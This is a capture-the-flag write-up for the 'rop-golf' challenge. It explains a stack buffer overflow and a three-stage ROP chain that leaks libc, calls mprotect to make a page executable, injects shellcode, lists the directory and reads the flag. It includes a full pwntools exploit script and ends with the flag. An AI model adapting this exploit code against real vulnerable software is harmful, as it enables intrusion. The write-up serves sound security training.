0x0 Introduction
Author: sky
I keep on getting hacked by people using my shells! Now that I've deleted all the nonessential programs off my computer I should be safe... right?
The flag is in a *.txt file with a randomly generated name inside the same directory as the binary.
SNI: rop-golf
files: rop_golf, rop_golf.c, glibc 2.28
0x1 Mitigation
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x2 Vulnerability
looking at the binary, the binary is contains a very simple buffer overflow vulnerability in funtion vuln
. So in total, we have 72 -32 -8 = 32 bytes for buffer overflow.
We can do 4 rop operation.
However, the challenge server remove all the binary under /bin
, /usr/bin/
... So we are not able get a shell using system('/bin/sh')
.
So, In order to read the flag, we need to first manually do a ls
to see what is flag name. Secondly, use open
, read
, write
syscall to read the flag file and output to stdout.
Here is one way of manually doing ls
, https://www.gnu.org/software/libc/manual/html_node/Simple-Directory-Lister.html
void vuln() {
char buf[32];
read(0, buf, 72);
}
Here is my solution
- In the first rop chain, using puts to leak libc address and return back to
vuln
- In the second rop chain, use
pop rdx; ret
,0x200
,read addr
. So that I can write 0x200 more data on the stack and construct a larger rop chain. (I can do stack pivot here but im kind of lazy to do that) - In the third rop chain, which is now 0x200 bytes long. I first do
mprotect
on some memory pages so that i could put shellcode and gadgets on it. Then, i callread
again to write shellcodes and essential gadgets into the memory page. Finally, I use rop chain to do a manuallyls
and read the flag.
0x3 Exploit
from pwn import *
class BinaryInfo:
exe = "rop_golf_patched"
libc = "libc.so.6"
host = "rua.host.goes.here"
port = 8000
# Set up pwntools for the correct architecture
exe = context.binary = ELF(BinaryInfo.exe)
exe_rop = ROP(exe)
if BinaryInfo.libc != "":
libc = ELF(BinaryInfo.libc)
libc_rop = ROP(libc)
else:
libc = None
libc_rop = None
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or BinaryInfo.host
port = int(args.PORT or BinaryInfo.port)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = remote("tamuctf.com", 443, ssl=True, sni="rop-golf")
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
def log_print(*msg):
log.info(" ".join(map(str,msg)))
def int2byte(x: int):
return x.to_bytes(exe.bytes, "little")
def wait_for_debugger(io):
if args.LOCAL and input("debugger?") == "y\n":
pid = util.proc.pidof(io)[0]
log_print("The pid is: " + str(pid))
util.proc.wait_for_debugger(pid)
log_print("press enter to continue")
ret_addr = exe_rop.find_gadget(['ret'])[0]
pop_rdi_ret_addr = exe_rop.find_gadget(['pop rdi', 'ret'])[0]
io = start()
wait_for_debugger(io)
writable_addr = 0x0000000000404800
rop_1 = flat({
32: b'00000000',
32+8: [
pop_rdi_ret_addr,
exe.got['puts'],
exe.sym["puts"],
exe.sym["vuln"]
]
})
log_print("pop rdi ret",hex(pop_rdi_ret_addr))
io.sendafter(b"hi!\n",rop_1)
puts_addr = int.from_bytes(io.recvuntil(b'\n',drop=True),"little")
log_print("puts addr",hex(puts_addr))
libc_base_addr = puts_addr - libc.sym["puts"]
log_print("libc base addr",hex(libc_base_addr))
log_print(next(libc.search(b"%p\0")))
log_print("bin sh",hex(libc_base_addr + next(libc.search(b".\0"))))
log_print(libc.sym["opendir"])
log_print("mprotect",libc.sym["mprotect"])
pop_rsi_ret_addr = libc_base_addr + libc_rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx_ret_addr = libc_base_addr + libc_rop.find_gadget(['pop rdx', 'ret'])[0]
leave_ret_addr = libc_base_addr + libc_rop.find_gadget(['leave', 'ret'])[0]
mov_rdx_rax_ret_addr = libc_base_addr + 0x0000000000115dff
push_rdx_ret_addr = libc_base_addr + 0x0000000000117171
add_rax_1_ret_addr = libc_base_addr + 0x00000000000b4a00
add_rax_3_ret_addr = libc_base_addr + 0x00000000000b4a10
log_print("pop rsi ret",hex(pop_rsi_ret_addr))
log_print("pop rdx ret",hex(pop_rdx_ret_addr))
log_print("leave ret",hex(leave_ret_addr))
rop_2 = flat({
32+8: [
pop_rdx_ret_addr,
0x200,
exe.sym["read"],
]
})
io.send(rop_2)
shellcode_mov_rdi_rax_ret = asm(shellcraft.mov("rdi","rax"))+asm(shellcraft.ret())
mov_rdi_rax_ret_addr = writable_addr
shellcode_mov_r15_rdi_ret = asm(shellcraft.mov("r15","rdi"))+asm(shellcraft.ret())
mov_r15_rdi_ret_addr = mov_rdi_rax_ret_addr + len(shellcode_mov_rdi_rax_ret)
shellcode_mov_rdi_r15_ret = asm(shellcraft.mov("rdi","r15"))+asm(shellcraft.ret())
mov_rdi_r15_ret_addr = mov_r15_rdi_ret_addr + len(shellcode_mov_r15_rdi_ret)
shellcode_add_rax_19_ret = bytes.fromhex("4883c013c3")
add_rax_19_ret_addr = mov_rdi_r15_ret_addr + len(shellcode_mov_rdi_r15_ret)
shellcode_read_file = b''.join([
asm(shellcraft.read(0, writable_addr+0x100, 100)),
asm(shellcraft.open(writable_addr+0x100, 0)),
asm(shellcraft.read('rax', writable_addr+0x100, 100)),
asm(shellcraft.write(1, writable_addr+0x100, 100))])
read_file_addr = add_rax_19_ret_addr + len(shellcode_add_rax_19_ret)
flag_file_name = b"066A2462DEB399BA9183A91FC116914C.txt"
# log_print(hex(mov_rdi_rax_ret_addr),hex(mov_rdx_rdi_ret_addr),hex(mov_rdi_rdx_ret_addr))
final_shellcodes = shellcode_mov_rdi_rax_ret+shellcode_mov_r15_rdi_ret+shellcode_mov_rdi_r15_ret + shellcode_add_rax_19_ret + shellcode_read_file
rop_3 = flat({
32+8: [
b'AAAAAAAA',
b'BBBBBBBB',
b'CCCCCCCC',
# make it rwx
pop_rdi_ret_addr,
0x0000000000404000,
pop_rsi_ret_addr,
0x1000,
pop_rdx_ret_addr,
1|2|4,
libc_base_addr + libc.sym["mprotect"],
# writing some gadget
pop_rdi_ret_addr,
0,
pop_rsi_ret_addr,
writable_addr,
pop_rdx_ret_addr,
0x100,
exe.sym["read"],
# print first filename
pop_rdi_ret_addr,
libc_base_addr + next(libc.search(b".\0")),
libc_base_addr + libc.sym["opendir"],
mov_rdi_rax_ret_addr,
mov_r15_rdi_ret_addr,
libc_base_addr + libc.sym["readdir"],
add_rax_19_ret_addr,
mov_rdi_rax_ret_addr,
exe.sym["puts"],
mov_rdi_r15_ret_addr,
libc_base_addr + libc.sym["readdir"],
add_rax_19_ret_addr,
mov_rdi_rax_ret_addr,
exe.sym["puts"],
mov_rdi_r15_ret_addr,
libc_base_addr + libc.sym["readdir"],
add_rax_19_ret_addr,
mov_rdi_rax_ret_addr,
exe.sym["puts"],
mov_rdi_r15_ret_addr,
libc_base_addr + libc.sym["readdir"],
add_rax_19_ret_addr,
mov_rdi_rax_ret_addr,
exe.sym["puts"],
# mov_rdi_r15_ret_addr,
# libc_base_addr + libc.sym["readdir"],
# add_rax_19_ret_addr,
# mov_rdi_rax_ret_addr,
# exe.sym["puts"],
read_file_addr
]
})
# input("asdf")
io.send(rop_3)
# input("writing gadgets")
io.send(final_shellcodes)
# input("lol")
log_print("filenames",io.recv())
io.send(flag_file_name)
log_print(io.recv())
0x4 Flag
gigem{r34lly_p1v071n6_7h47_574ck}